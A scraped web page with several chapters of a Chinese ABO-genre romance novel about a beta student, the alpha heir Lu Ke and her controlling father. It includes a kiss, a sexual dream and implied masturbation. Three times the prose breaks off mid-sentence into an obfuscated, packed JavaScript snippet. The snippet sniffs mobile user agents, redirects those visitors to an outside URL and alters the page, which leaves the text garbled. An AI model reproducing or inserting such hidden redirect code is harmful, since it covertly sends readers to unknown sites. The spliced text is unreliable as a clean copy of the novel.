他应该是有些醉了,脑子有点迟钝,所以陆恪说话在千述听来是慢吞吞的,有点软。不过,酒醉的人是察觉不出来这些细微变化的。 千述沉默,因为这次并不是为了陆恪来这里的,但她并没有解释,没有必要。 陆恪将千述的沉默视作认同。他终于大发慈悲的将目光放在了这个追求了自己许久的女beta身上。 平平无奇的长相,哪怕是化了妆,也是那么的不起眼。相比于陆恪浓烈,攻击性极强的外貌,千述就实在是太淡了些。 陆恪今天更加张扬,脸上唇钉,眉钉,闪烁着冰冷的银色光泽。陆恪从来都是这样的,随心所欲,丝毫不在乎外界的看法。有时候甚至非常尖锐,就是要刺得别人不敢靠近。 相比于外面音乐声仿佛要把耳膜震碎,那卫生间里就实在是太安静了些。安静得让千述能够清楚的听见陆恪呼吸的声音。 过了好久,陆恪才又开口,他薄唇微启,直勾勾的盯着千述:“你说,你喜欢我?” 千述抬眼,因为酒精的缘故,陆恪的眼尾泛着红,他垂眼看着千述,眼中像蒙着一层淡淡的水雾。 “是的,我喜欢你。”千述回答。 “有多喜欢?”陆恪又问。 陆恪总喜欢问这种问题,反复的,不厌其烦的确定。 他的眼神很有压迫性,哪怕是现在有些醉了,但是仍旧让人觉得很有压力。他看着面前的女beta,仿佛要看穿她的内心。 “我说过了,我愿意为你付出很多。”千述语气平淡,她黝黑的眸子看着陆恪,宁静幽深。 话音落下,卫生间里空气流动仿佛都变得缓慢,慢悠悠的,围绕在两人身旁。 许久,陆恪低声一笑,意味不明,只是眼尾泛着的红越发深了。 他就像是从黑暗深渊里燃烧的火焰,吸引着那些在暗处怪物的靠近。实在是太炽热了,哪怕是稍微靠近,千述都有种潮湿的灵魂,被灼烧的感觉。 陆恪嘴角缓缓勾起,他弯腰,凑到千述耳边,声音低低的,像是引诱人类打开潘多拉密盒的魔鬼。 “亲我。” 11. 第11章 陆恪微微抬起头,看着千述。 两人四目相对,眼神犹如细密的丝线,触碰,交缠。这样微妙的氛围里,对视仿佛变成了一场暧昧旖旎的游戏。 千述漆黑的眼眸直直的盯着陆恪,她眼神中没有丝毫的羞怯,好像只是在判断陆恪这句话的真实性。 陆恪仍旧挂着笑意,他本就生得好看,眉目如画。现在喝了酒,肤色染上薄红,看着更漂亮了。 他就这样看着千述,凤眼轻挑,眼尾那颗痣,更添几分迷离绮丽。就像是在鼓励她,引诱她上前。 “你不愿意吗?”陆恪的声音又轻又勾人。 千述沉默。 她的眼眸越发黑,沉得像是随时会将人溺毙的深潭。千述的目光从陆恪的眉眼往下滑,高挺的鼻梁,然后是红润的,甚至还带着水光的薄唇。 就像是一颗石子落入水潭溅起涟漪,千述的眼神动了动。 哪怕千述知道这只是他的恶作剧。 可是又有什么所谓呢? 她上前一步,两人的距离更近了些,甚至能感受到彼此温热的呼吸。千述将陆恪抵在洗手台,站在他的两腿中间。 随后抬手摸了摸陆恪的后颈。千述也说不清这个动作的是出于好奇,还是生理性的欲望。 beta是没有腺体的,他们的后颈光滑细腻。alpha和omega的后颈则有一块凸起,很柔软,那是他们的腺体。 “别摸这里,不舒服。”陆恪声音有点哑,他握住千述的手腕,制止她的动作。 千述的手很冰,接触到后颈皮肤的时候,让陆恪控制不住的汗毛竖起。这并不是很舒服的体验,尤其是千述的手正放在腺体这个敏感的地方。 “好。”千述听话的收回手,指尖又点在陆恪的唇上,轻轻摩挲。 生理上很抵触,但是陆恪忍住了,他没有错过这个女beta眼神轻微的变化,那是欲望。 真是有趣。 两人之间的氛围实在是太暧昧了,连空气都变得粘稠起来,变成丝丝缕缕的细线,将两人包裹。 千述扶住陆恪的脸,让他仰起头,微微凑上去,两人的唇离得好近,双唇即将触碰的瞬间,空气变得炽热。 “真蠢。” 陆恪脸上笑着,但是抬手就是一巴掌,要扇在千述脸上。千述一把钳住他的手,摁在洗手台上。 气氛凝滞。 陆恪将千述一把推开,直起身。刚才还暧昧旖旎的氛围瞬间破碎,舞池里的音乐似有若无的传过来。 看着千述被捉弄,顿在原地沉默的样子,陆恪烦躁压抑了一天的心情,终于开心了一点。 他们说得很对,和这个女beta玩一玩也挺好的。解闷。 “你觉得你有资格亲我吗?”陆恪脸上挂着恶劣的笑,眼神亮得惊人。 “你口中说的喜欢,很假,我一个字也不信。不要再拿喜欢做托词,掩盖你丑陋的欲望。你越是如此,我就越觉得恶心。” “你想要从我身上得到什么呢?钱,还是跟陆氏的合作机会?你如果求求我,或许我心情好就答应你。” 陆恪说话真的很刻薄尖锐,从来不在乎会不会得罪人,也完全没给千述留情面。 他又不是傻子,对情绪没有感知能力。相反,陆恪敏感细腻,别人真诚与否,他一眼便知。 只是陆恪不在乎这些,别有用心接触他的人太多,如果个个都要考验真心,那真就是人无完人。 但是对于千述,陆恪又变得格外严苛。 他一定要把千述的内心剖析出来,明明白白的摆在阳光下,摆在两人面前。就好像在说,你看,你的喜欢也不过如此,它是瑕疵品。 陆恪好整以暇的看着千述,他要看着这个女beta被拆穿以后,恼羞成怒,气急败坏的样子。 但是很可惜,千述并不是一个情绪起伏很大的人。 她看着陆恪扬着下巴,骄傲得不可一世的样子。他是盛气凌人,高高在上的,他有资格对任何人的爱意,不屑一顾。 陆恪就是这么恶劣,但那又怎样? 千述不得不承认,这样的陆恪,身上有着千述所没有的, 旺盛的,蓬勃的生命力。 他越是张扬肆意,就越是漂亮得惊人。这种像熊熊火焰一般,炽热的,灼烧万物的美。 实在是令人忍不住想靠近,汲取些许能量。 或许是千述喝了酒,脑子不太清醒。又或许是陆恪实在太勾人。千述几乎是没有任何犹豫的,上前,捧住陆恪的脸,然后吻了上去。 陆恪的唇瓣湿湿软软的,千述没忍住,用牙齿轻轻的磨了磨。 指尖的皮肤是温热的,与千述冰冷的温度截然不同。黑暗被火焰照亮,连在黑暗处的生物也短暂的感受到了温暖。 “陆哥还没好吗,都过去这久了。”方知明在外面等了好久,也没看到陆恪出来,害怕他醉倒在里面没人管,“不行,我要进去看看。” 然后猝不及防的,就看见在洗手台吻在一起的身影。 黑T,银发,耳钉。 方知明:“?” 这人怎么这么眼熟,怎么和陆哥这么像?! 看到有人进来,千述自觉的放开了陆恪,后退一步。看着陆恪红润的唇,千述不自在的抿了抿唇。 “不好意思,没忍住。”千述语气平静,好像刚才做的是什么正经事。 陆恪已经完全懵了,整个脑子都宕机,没办法思考。他抬手摸了摸唇,又红又肿,还有点刺痛。 她是狗吗?居然会咬人。 说实话,陆恪这辈子,没发生过这种荒唐的事情。从来没有人敢这样侮辱他! 不仅是陆恪懵,方知明也懵。 陆哥和这个女beta什么时候进展这么快了? “你在找死……”看着面前这个女beta坦然自若的样子,陆恪反应过来刚刚发生了什么。 他的怒火蹭一下就烧起来了,几乎是急火攻心,太阳穴突突的跳,气得手抖。方知明一看便知道完蛋,陆恪生气了。 他一下子冲过去抱住陆恪,嘴里连声安慰道:“算了陆哥,算了,咱是alpha不吃亏,这次就算了。” “这里来来往往这么多人,打一个beta多不好看,算了陆哥,咱们别跟她计较,你别生气。” 方知明用尽全身力气拖着陆恪往外面走,他又回头看了眼还站在洗手台边的千述。这女beta平时看着窝窝囊囊的样子,没想到胆子居然这么大。 果然人不可貌相! ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073216|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舞池里的音乐还在放着,等千述回到卡座的时候,大家已经醉得东倒西歪,不知今夕是何年。 向曼青正在慢吞吞的喝着一杯橙汁,她在舞池里跳累了,急需补充能量。 “怎么去了卫生间这么久,你再不出来我都要去找你了。”看了千述回来,向曼青问道。 千述摇摇头:“没什么,就是去那边透透气,有点闷。” 向曼青没觉得千述这话有什么问题,酒吧人多,鱼龙混杂,确实有点闷。 “收拾一下吧,该回学校了。”向曼青拿起自己的外套,然后拍了拍身边的人。 今天是周六,A大寝室没门禁,只要刷校卡可以进学校就行。 大家醉得厉害,但还是有些理智,至少没有在大街上睡下。众人互相搀扶着,走一段路就到了学校。 到了外面空旷的地方,空气都清新了很多。路灯也变得明亮,不像在酒吧里面灯光昏暗,是人是鬼都看不清。 向曼青转头看向千述,然后像发现什么,凑近,眯了眯眼。 “你嘴巴怎么这么红,今天点的菜过敏?”向曼青冷不丁的问了句。 千述怔了一下,轻咳一声:“没,可能是热的。” 夜风拂过,吹在两人身上,凉凉的。 向曼青看着空旷的街道,慢悠悠的说:“好吧,应该是热的。” ...... 夏天总是充满活力,绿荫,蝉鸣,被风轻抚的裙摆。 到了死亡期末周,A大的学生们开始了没日没夜,通宵复习的状态。 图书馆是爆满的,自习室是灯火通明的,学生是挂着黑眼圈,活人微死的。 “我真不行了,已被学习榨干。”谢宁头一下子埋进书里,像突然断电的机器人。 然后她又猛地抬起头,开始神神叨叨的做法,捧起书里的知识往脑子里灌:“知识入我脑,知识入我脑,全部记住,全部记住。” 就是说,科学的尽头是玄学。 罗玉兰在一旁狂翻白眼,吐槽道:“我看你真是失心疯了,要真这么有用,所有人干脆都去求神拜佛好了。” 谢宁转过头来,语气认真,言之凿凿:“你要对这些持有敬畏之心,宁可信其有,不可信其无。罗玉兰,不可对考神无礼。” 下一秒,罗玉兰也开始做法。 讲真,谁面对挂科心里不虚啊! 向曼青和千述倒还好些,她俩学习在班里算是顶认真的,因此在期末没有挂科的烦恼。 向曼青是对未来有规划,她要申请的那所国外读研的学校,需要看本科绩点。而千述则是习惯性将事情做到最好,只有在人群中最优秀,最拔尖,才能被看到,被嘉奖。 暑假即将来临,回家的票需要提前买。 “千述,你买几号的机票回去,我俩一起。”向曼青打开手机里的app,开始选票。 其实千述是已经搬来了A市,但是她几乎每次放假都会回去一趟S市,有一次还是和向曼青一起回去的。至于为什么回去,向曼青没有问过。 只是这次千述沉默了半响,才开口道:“今年暑假我不回S市。” 向曼青了然,也没多问:“好的,那我先买票了。” 千述垂眸,看着桌上的书,不再言语。 12. 第 12 章 考试周结束以后,大家都陆陆续续的回家。只有千述拖到了最后,学校快要闭寝的时候,才开始收拾行李箱。 千述已经很久没有回来了,拖着行李箱站在别墅门前的时候,站了很久才去按响门铃。 门铃响了一会儿,便有人来开门。看到是千述,薛姨忙接过千述手中的行李箱,笑道:“千述小姐回来了,考试结束了吗?” “嗯。”千述颔首,进门换了拖鞋往里面走去。 薛姨是千述母亲那边带来的保姆,在家里很久了。 这个别墅是联排别墅,在A市的位置有些偏,所以相对而言不算太贵。但是A市的房价大家有目共睹,就是这样一个不起眼的别墅,都花费了很大一笔钱。 别墅里很安静,装修十分简单,看着没什么人气的样子。 薛姨将千述的行李箱放好,走到千述身边:“老爷在公司,中午都不回来吃饭的。我现在就单独给小姐做个午饭。” “简单点就行,不用太麻烦的薛姨。”千述一边往二楼走,一边回答。 千述的房间在二楼,推开房门,更是一片空荡。除了床和书桌再没有别的家具,衣帽间里也是空空如也,没几件衣服。 这个别墅是千述读大学以后,搬来A市才买的。千述大部分时间都住在学校,所以家里没有太多生活的痕迹。 从学校带回来的行李箱已经被放到了二楼,千述打开收拾了一下。除了些必要的东西被千述拿了出来,其他大多数还是规整的放在了行李箱里。 千述吃什么都不挑,薛姨就简单的给她做了两个菜。 别墅里除了千述,就只有薛姨。若是两人都不说话,这偌大的别墅就会变得十分安静,静得连碗筷碰撞的声音都格外的清晰。 薛姨在一旁看着千述吃饭,语气有点感慨:“千述小姐很久没回来,这一回来感觉又变了一点。” “小姐在学校很忙吗,都没时间回来。”薛姨问道。 千述点头,回答:“有点忙。” 薛姨心疼千述辛苦,说看着她确实瘦了些。然后坐在千述对面又开始絮絮叨叨的说着话,平日里这儿没人陪她说话,现在千述回来,薛姨的话匣子也打开了。 “想当初看到小姐的时候,小姐才这么大一点点,现在都长成大姑娘了,看着真是一年比一年好看。”薛姨笑眯眯道,她用手大概比了个千述小时候的身高。 千述垂着眼眸,安静的吃着饭。 现在薛姨年龄上来了,就喜欢回忆以前的事情。薛姨今年已经五十多岁,再过两年六十,她说她想回老家带孙女,不准备再留在A市。 薛姨说着说着就谈到千述的母亲千朝,眼中流露出怀念:“如果夫人看见小姐现在的模样,肯定高兴得很,她以前总喜欢给小姐拍照,留了很多照......” “薛姨,我吃饱了。我下午还有事情要出去一趟。”千述放下筷子,起身,打断了薛姨说话。 薛姨一被打岔就忘记了自己刚才的话,她起身收拾碗筷:“好的好的,那千述小姐晚上还回来吗?” “回来的。”千述背上自己的包,往外面走。 ...... 千述坐上地铁的时候,手机振动,打开手机看到是时谨给她发了两条微信。 时谨:千述老师,今天下午陆昱辰要跟他爸爸去天文馆,就不用补课了。 时谨:因为是临时起意,很抱歉这么晚才通知到你。今天也算上课时吧,辛苦。 现在是下午一点,不是上班高峰期所以地铁很空。千述住的地方是在吴宜区,坐地铁到南安区要接近一个小时的时间。 今天下午本来是要过去补课两个小时,从下午三点到五点结束。 现在突然收到消息说取消补课,千述一时间有点迷茫,没了方向,不知道要去哪里。 地铁三三两两的坐着人,千述垂眼看着手机,良久才回复道“好的。” 千述在外面呆了很久,准确来说是游荡吧,漫无目的的游荡在A市的街头。 她很少有这样脑子彻底放空的时候,不考虑未来,不考虑下一步做什么,就单纯跟着人流走在街道上。 大多数时候,千述总是沉默的观察着周围,注意着身边人的情绪。她是一个很懂得察言观色的人,从另一个方面来说,这是内心防御厚重的表现。 A市是一个很喜欢梧桐的城市,尤其是老城区这边,几乎处处种着梧桐。夏天的时候,绿油油一片,充满生机。 街道的尽头是一个公园,千述坐在公园的长椅上,就是安静的坐着。她既不玩手机,也不看书,就这样呆坐着。 与周围的人格格不入。 公园里有很多人,有打太极的,有跑步健身的,也有一家老小在散步的,安逸闲适。 千述面前跑过一个小女孩,看着年龄特别小,也就一岁多才会走路不久,走起路来踉踉跄跄的,可爱极了。 千述的目光不自觉的落在小孩身上。 小女孩追着前面的博美,又追不上,着急,嘴里一直嘟囔着“狗狗,狗狗……”,父母笑眯眯的跟在她的身后,随时注意着她的情况。 因为走太急了,小孩子扑腾一下摔倒在地,整个人趴在地上。小孩没哭,倒是把她父亲心疼坏了,连忙上去想要把她抱起来。 妈妈一把按住爸爸的手,淡定道:“小孩子摔跤是常有的事,做大人的也不能一辈子跟在身边。这次摔倒了你能扶,以后摔倒了,难道次次你都能扶吗? “要让他们学会自己站起来。” 随后女人蹲下身,张开双臂,微笑着鼓励:“乖宝,来,坚强的站起来,到妈妈这里来。” 女人笑起来的时候,整个人身上仿佛有光晕笼罩着,这是来自于灵魂深处的温柔,作为母亲的温柔。 千述就这样定定的看着他们,她看着那个小女孩挣扎起身,扑向妈妈怀里。她看着女人摸摸小孩的头,夸她真棒。 很难形容这一刻千述心中的感觉,她就像是突然被烫到一般,迅速收回自己的视线,垂首看着裤子上的褶皱。 然后长久长久的沉默。 …… 日落西山,月上枝头,街道上的路灯已经打开,夜晚来临。 千述回到家的时候,便看到了坐在沙发上那个高大的身影。千述脚步顿了一下,又面不改色的走过去:“父亲。” 贺诚军放下手里的《资本论》,抬起头来看着千述,应了声:“回来了。” 贺诚军是个alpha,不仅高大健壮,还有一副好皮囊。哪怕年过四十,仍旧保持着好身材,往他身上扑的omega不知凡几。 “听你薛姨说,你今天上午回来的?”贺诚军随口问道。 千述点头,道:“是的。” “在学校呆得还习惯吗?如果不习惯就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073217|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来住。”贺诚军将手里的书合上,随手放在茶几上。 他站起身往餐厅走去,千述跟在他的身后回答:“习惯的。” 吴宜区离A大很远,若是回家住,每天去学校都要花费很多时间。当然,贺诚军只是嘴上随便说说而已,以此来彰显他做为父亲的关心。 饭菜已经弄好了,因为晚上贺诚军要回来吃饭,所以晚上的饭菜比白天丰盛很多。 餐桌上只有千述和贺诚军,贺诚军坐在主位上,开始进餐。 贺诚军吃饭也很讲究,因为他要健身。所以薛姨做的都是些少油少盐的饭菜,看着很健康。并且贺诚军晚上吃的不多,一般是六七分饱便停下口,十分克制。 正是因为这样严苛的饮食,贺诚军才能长久的保持着身材。 千述看着贺诚军停了下来,她也很自觉的放下碗筷,不再吃了。 见千述吃过饭,贺诚军起身,对千述道:“你随我来书房一趟,我有话问你。” 千述眼眸微闪,随即恢复平静,轻声道:“好。” 书房在二楼,贺诚军走在前面,千述跟在后面,他们之间的相处大多如此。 二楼的书房很大,有很多的书籍。书房是贺诚军处理公务,呆的时间最长的地方,收拾得十分整齐。 贺诚军坐在办公桌后面,千述在前面垂手站立,这相处模式一点不像父女,倒更像是工作中的上下级。 千述没说话,只安静的等待着。 良久,贺诚军抬眼看向千述,眼神有些锐利,带着探究,问道:“在学校很忙?有时候我给你发信息,你很晚才回复。” 千述神色自若道:“可能在上课,没有看到消息,所以回复晚了些。” 贺诚军点了点头,没在这个问题上深挖,随后把话题转到自己最关心的地方:“你和陆家那个大少爷相处得怎么样了?” “还可以。”千述语气变得平淡。 “还可以是什么意思?”贺诚军皱着眉头,看着有些不满意,“可以就是可以,不可以就是不可以,我需要听到的是确切的答复。” 只聊了几句,贺诚军身上那种作为老板的独裁和强势就体现得淋漓尽致。不仅在工作中如此,在生活中也没有丝毫的收敛。 千述沉默了几秒,才回复:“相处的挺好的。” 贺诚军点头,对千述的答复勉强满意。他将桌上的报告书打开翻了翻,指尖一下一下的敲击桌面,发出有规律的声音。 “陆氏在汽车领域的发展势头极为强劲,市场份额也在不断攀升。如果能够跟他们达成合作,那么我们生产的车灯就能迅速接触到更广泛的用户群体。” 千述家里的产业是生产汽车的车灯,他们负责设计和落地,和各车企达成合作。但是随着汽车行业的快速发展,竞争变得十分激烈。 贺诚军花费了很多力气。 “你别看着陆恪现在不学无术,那是有他父亲顶着,再过十年,这陆家的产业他迟早都要去接手管理的。” “你只要和他打好关系,甚至更紧密一些,若你能和他联姻,何愁不能将千言集团蓬勃发展起来!” 贺诚军说到这些,仿佛看见了企业蓝图在眼前展开。他眼底精光闪烁,越发兴奋。 千述垂着眼眸,长长的眼睫遮盖了她眼底的情绪,看不清她在想什么。 良久,千述开口:“我知道了,父亲。” 13. 第 13 章 外面的太阳热烈,天气晴朗。昏暗的房间内,窗帘拉得死死地,透不进来一点光。 屋里缠绕着丝丝缕缕的信息素,霸道又攻击性极强。 床头的手机不断振动,屏幕亮起,将笼罩的黑暗打碎,也扰了睡觉人的兴致。梦境碎裂,梦境中的那张平淡的脸也消失得无影无踪。 陆恪猛地睁开眼,从梦中惊醒。 他心脏狂跳,意识还停留在梦境之中,不太清醒。陆恪安静的看着天花板,几秒之后,突然暴起,把身旁的枕头摔在地上。 就算是这样,仍旧没办法消除他心中的怒火。 然后又像泄气一般倒在床上,陆恪上身没穿衣服,胸膛一起一伏,仿佛受了多大的屈辱一样,气得要命。 他根本没办法控制自己脑海中闪现那个女beta的脸。 梦是光怪陆离,荒诞没有逻辑的。就像陆恪清醒的时候,根本没办法想像自己被那个女beta压在沙发上亲。 她很冷淡,脸上没有情绪,纤细的手指却抬起陆恪的下巴,直白的说:“亲我。” 那是一个漆黑的房间,只有一束灯光打在陆恪的身上,就像是将灯光打在舞台的艺术品上,全方位的展示着。 梦里的陆恪脸色绯红,仿佛是变了一个人,完全没有了羞耻心。 他眼神迷离,泛着湿意。抬手勾住千述的后颈,很听话的将自己的唇送上去。千述不为所动,只是淡淡的看着陆恪红润的唇。 陆恪不开心,又凑得更近一点,温热的唇终于贴在一起。 这时候千述才有了一点点反应,她轻轻咬了咬陆恪的唇瓣,微凉的手抚摸着陆恪的腰,用力的吻了上去,开始更深的探索。 “张嘴。”千述轻声的喘.息。 陆恪脑子晕晕的,顺从的启唇。两人唇齿交缠,千述的舌尖轻巧的划入口腔,开始了缠绵又热烈的追逐。 “操!真的是疯了。”陆恪嘴里怒骂一声,抬手捂住自己的眼睛,不能再想了。 昏暗的房间,心跳的声音好像都变得更清晰了。心脏不受控的,蓬勃跳动着。 他那样没有任何自尊心的躺在那个女beta的身下,被人搂着腰亲,还一脸享受的闭着眼。 这还有作为alpha的尊严吗? 他可是alpha,再怎么样也是在上面的吧! 空气里的信息素浓度实在是太高,到了没办法忽视的程度。炽热的信息素在空气里张牙舞爪,肆意的横冲直撞,霸道的抢占空间。 身体上的反应是没有办法骗人的,除了无意识溢出的信息素,还有下面...... 陆恪沉默了很久,才将手伸进被中。 ...... 等陆恪洗了澡,将自己收拾好,空气里浓烈的信息素也被循环净化以后,已经到了下午两点。 现在正值暑假,陆恪没回家,还是一个人住在市中心的大平层里。独居就意味着生活作息紊乱,尤其是陆恪本来就是一个十分放纵自己的人。 晚上出去鬼混,凌晨回来睡觉,睡到下午才醒,然后点个外卖。这样昼夜颠倒的作息对他而言再正常不过。 陆恪的头发乱糟糟的,他随便吹了一下就出来了,头发还在往下面滴水。 他拿起床头的手机,看了看消息。 方才就是手机振动,他才从梦里醒来。如果没醒的话,估计还在被那个女beta搂着亲。 打住! 陆恪立刻遏制脑海里疯长的画面,不耐烦的“啧”了一声。 微信发来了一条消息,头像是一个小男孩的照片,带着幼儿园毕业统一发的学士帽,乖巧腼腆的站在讲台上。 陆昱辰:哥哥,你今天回来吃晚饭吗? 陆恪垂首看着手机,脸上没什么表情,也没回复。 两人的聊天页面很空,没有太多的聊天记录。最近一条还是十几天前,陆恪放暑假,陆昱辰祝他放假快乐,陆恪没回。 陆恪将手机丢在沙发上,没去管它,他打开冰箱。陆恪的冰箱特别空,除了水和酒基本没有别的东西。 他从来不在家做饭,自己也不会做饭。吃饭要不就是点外卖,要不就是叫厨师自带食材上门。 陆恪随手拿起离得最近的一瓶冰水喝着。 他又走到沙发面前,沉默的看着那个手机。良久,才将手机拿起,随意躺在沙发上,敲击着手机屏幕。 陆恪直接了当的拒绝,很是无情:不回。 那边几乎是立刻开始输入,应该是一直守在聊天框面前。 陆昱辰:我在天文馆给哥哥带了礼物回来。 陆昱辰:(图片.JPG) 是一个载人航天飞船的乐高模型,已经被拼好了。模型很精细,也看着很有质感,应该花费了不少时间来组装。 陆恪点开那张照片,定定的看了几秒又退出,没有说什么。他面色始终是淡淡的,没有收到礼物的开心。 那边一直在不断的输入,但是很久都没有消息发过来。 两个人的话题似乎就这样结束了。 陆恪把手机随意放在茶几上,起身准备去换衣服。陆恪有时候兴致来了,会跟认识的地下乐队一起去酒吧驻唱。 他不缺钱,就是单纯喜欢那种酒吧昏暗灯光的氛围。 才刚起身,手机又振动了。这次陆昱辰发来一条语音,陆恪漫不经心的点开。 陆昱辰:“我这次考了全校第一,爸爸说可以许一个愿望。那我许愿哥哥回来吃晚饭可以吗?” 陆昱辰今年才七岁,声音还是那种小孩子软软的声调。 陆恪垂着眼睫,浓密的睫毛投下淡淡的阴影。他沉默半响将手机熄屏,没有回复。 ...... 千述来南安区补课早已驾轻就熟,时谨家里的阿姨已经认识她,门铃一响就来开了门。 “千述老师你来啦。”阿姨笑着给千述开门,“小少爷已经在二楼的书房等着了。” “好。”千述点点头,背着书包往二楼走去。 现在是暑假,有钱人家的小孩除了补学习,还会有很多兴趣课。时谨定的是一周补课三天,时间是在下午三点至五点,补两个小时的课。 千述一推开门就看到了陆昱辰坐得端端正正的。 陆昱辰很乖,一般都会提前十几分钟去书房等着,不是在写作业,就是在看书。 今天倒有些不一样,陆昱辰拿着电话手表在发着消息,也不知道发给谁,皱着一张小脸,十分严肃认真的样子。 但是微信另一端的人明显不太热情,陆昱辰等了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073218|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久都没人回消息。他有点失落,整个人看着都有些闷闷不乐。 现在还没到上课时间,千述就没有过多干涉,只在旁边安静的把书还有资料拿出来。 过了许久,陆昱辰特别难过,眼眶都有些红了,他给对面发了一句语音过去。 千述在一旁听着还有点诧异,陆昱辰居然有个哥哥。 她在这里给陆昱辰补了也有好几个月的课了。除了和时谨见过一两次面,其他人,包括陆昱辰他爸爸特别忙,一次没见过,更加不知道陆昱辰还有一个哥哥。 应该在外面读书,很少回来吧,千述心想。 后来那边再也没回了,陆昱辰等了很久,等到上课,电话手表还是没有任何动静。 小孩子的情绪是很难隐藏的,虽然陆昱辰表面还是努力装出平静的样子,但是嘴角已经耷拉了下去,眼瞅着快要哭了似的。 千述不太擅长处理这种问题,所以没有拆穿。她自己就是一个冷漠阴郁的人,对于别人的眼泪总是无法感同身受。 而且,这并不属于她的工作内容,千述照常的开始补课的进程。 陆昱辰忍了很久,最后握着笔,眼泪啪嗒啪嗒的落在作业本上,很努力的控制自己不哭出声,委屈又可怜的样子。他年纪很小,白白嫩嫩的小孩子。 千述顿了许久,还是抬手轻轻抚摸陆昱辰的头发,温和问道:“怎么哭了,是遇到什么伤心的事情了吗?” 没有人安慰的时候,或许可以坚强。但是有人问候的时候,委屈就再也忍不住。陆昱辰几乎是立刻的抬起头,扑到千述怀里。 “哥哥,不愿意回来……哥哥讨厌我。”陆昱辰抽抽噎噎的说,听着让人心软。 千述不知道他说的哥哥是谁,又发生了什么。只轻抚他的背,低声安慰:“应该是哥哥太忙了,所以没有时间回来。” “哥哥怎么会讨厌你呢?你乖巧可爱,学习成绩又好,哥哥会很喜欢你的。”千述不太懂安慰人,干巴巴的说着浅显的好话。 她说的那些讨好的话,就像是机器人在念说明书,没有情感波动。陆恪只会不屑一顾,并且对她冷嘲热讽。 但是对于一个七岁的小孩子来说,竟然出乎意料的好用。 陆昱辰抬手擦了擦眼泪,然后拉着千述去了他的房间。防尘的亚克力罩里面是一个精致的乐高模型。 “这是我从天文馆给哥哥带回来的礼物,天文馆最好看的飞船模型。”陆昱辰抬头看向千述,又有点犹豫的问道,“你说哥哥会喜欢吗?” 千述不知道,但她还是说出了小孩子最想听的话:“他会喜欢的。” 补课结束的时候,已经到了下午五点,千述收拾东西,准备离开。陆昱辰是很乖的一个小孩子,后面收了眼泪,就专心的学习。 他说他以后想学天文学,观察神秘的宇宙深处。千述没说什么,毕竟有钱人家的小孩,有足够的经济来支撑孩子将爱好变为职业,无需考虑太多现实因素。 离开的时候天还没黑,只是夕阳西下。千述坐上接驳车,缓缓驶离这栋古宅。 跑车的轰鸣声由远及近,千述看了过去,透过车窗模模糊糊能看清楚里面的人影。他戴着墨镜,直视前方,鼻梁高挺,侧脸线条冷峻,带了几分矜贵。 二人擦肩而过。 14. 第14章 千述暑假过得十分忙碌,除了去兼职当补课老师,剩下的时间都在业内顶尖的科技公司实习。 A大的title还是非常好用,至少能得到更多的实习机会,千述也很珍惜这些来之不易的实习。 她几乎是每天的早出晚归和普通的上班族没什么差别。 薛姨心疼千述,觉得她好不容易放假,就在家休息,或者在自家公司实习也能轻松些。 当时千述和贺诚军正在用晚餐,薛姨在上菜的时候,就正好当着贺诚军的面将这些话说了出来。 贺诚军听罢,倒是没说什么反驳的话,只面色平静的用餐。千述抬头看了一眼他的神情,也没说话,低头安静的吃着饭。 餐厅内空气静默,氛围十分微妙。 吃完饭后,千述自觉的的跟着贺诚军去了书房。 贺诚军看着千述,眼里满是探究,他问道:“薛姨说的也是你心中所想?你想来千言集团实习?” 千言集团是母亲千朝的家族企业,母亲去世以后,现在的千言集团已经全部由贺诚军掌管。 千述摇头,神情看不出一丝端倪:“我还是更想去别的企业实习,能够学习到更多别人的经验。” 听到这话,贺诚军满意的点点头,说着冠冕堂皇的话:“如果你一直在羽翼下被保护,那就永远没办法独立。我希望你能够不依靠家里,成长起来。” 千述垂着眼眸没说话。 书房里的气氛很奇怪,不过贺诚军不在乎这些。一个自大的人,只会关注自己的情绪,从不关心别人的想法。 贺诚军挥挥手,不甚在意道:“你出去吧,我还有些工作需要处理。” “好的。”千述应答,出了书房。 …… 陆恪上次还是回了碧府大院,也说不清为什么。 碧府大院沉稳低调,陆恪的跑车轰鸣声,强势的打破了这里的宁静。 陆昱辰几乎是瞬间,眼睛就亮了。他趴在二楼的窗户往外面看,正好看到陆恪的车停在外面,然后帅气的alpha顶着头银发从车上下来。 “哥哥!”陆昱辰在上面激动的挥手。 陆恪将墨镜取下来,抬头望着二楼,表情淡淡的。 陆昱辰转身,哒哒哒的往楼下跑,正好与进门的陆恪面对面遇见。然后小孩子突然就不好意思了,停住脚步不敢上前,两只手背在身后都快拧成麻花。 